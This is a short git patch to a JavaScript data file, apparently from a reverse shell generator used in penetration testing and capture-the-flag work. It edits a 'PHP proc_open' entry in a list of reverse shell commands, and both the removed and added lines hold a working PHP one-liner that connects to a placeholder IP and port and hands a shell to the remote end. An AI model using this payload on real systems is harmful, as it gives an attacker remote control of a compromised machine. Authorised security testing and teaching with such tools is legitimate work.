From 1e037d8d13d34f239eee79813dddea9809d282c9 Mon Sep 17 00:00:00 2001 From: Ryan Montgomery <44453666+0dayCTF@users.noreply.github.com> Date: Fri, 4 Jun 2021 10:23:22 -0400 Subject: [PATCH] Update data.js Fixed incorrect flag, if user decides not to use a compatible shell. --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index d362f41..3df1e01 100644 --- a/js/data.js +++ b/js/data.js @@ -151,7 +151,7 @@ const reverseShellCommands = withCommandType( }, { "name": "PHP proc_open", - "command": "php -r '$sock=fsockopen(\"{ip}\",{port});$proc=proc_open(\"{shell} -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});$proc=proc_open(\"{shell}\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'", "meta": ["linux", "windows", "mac"] }, {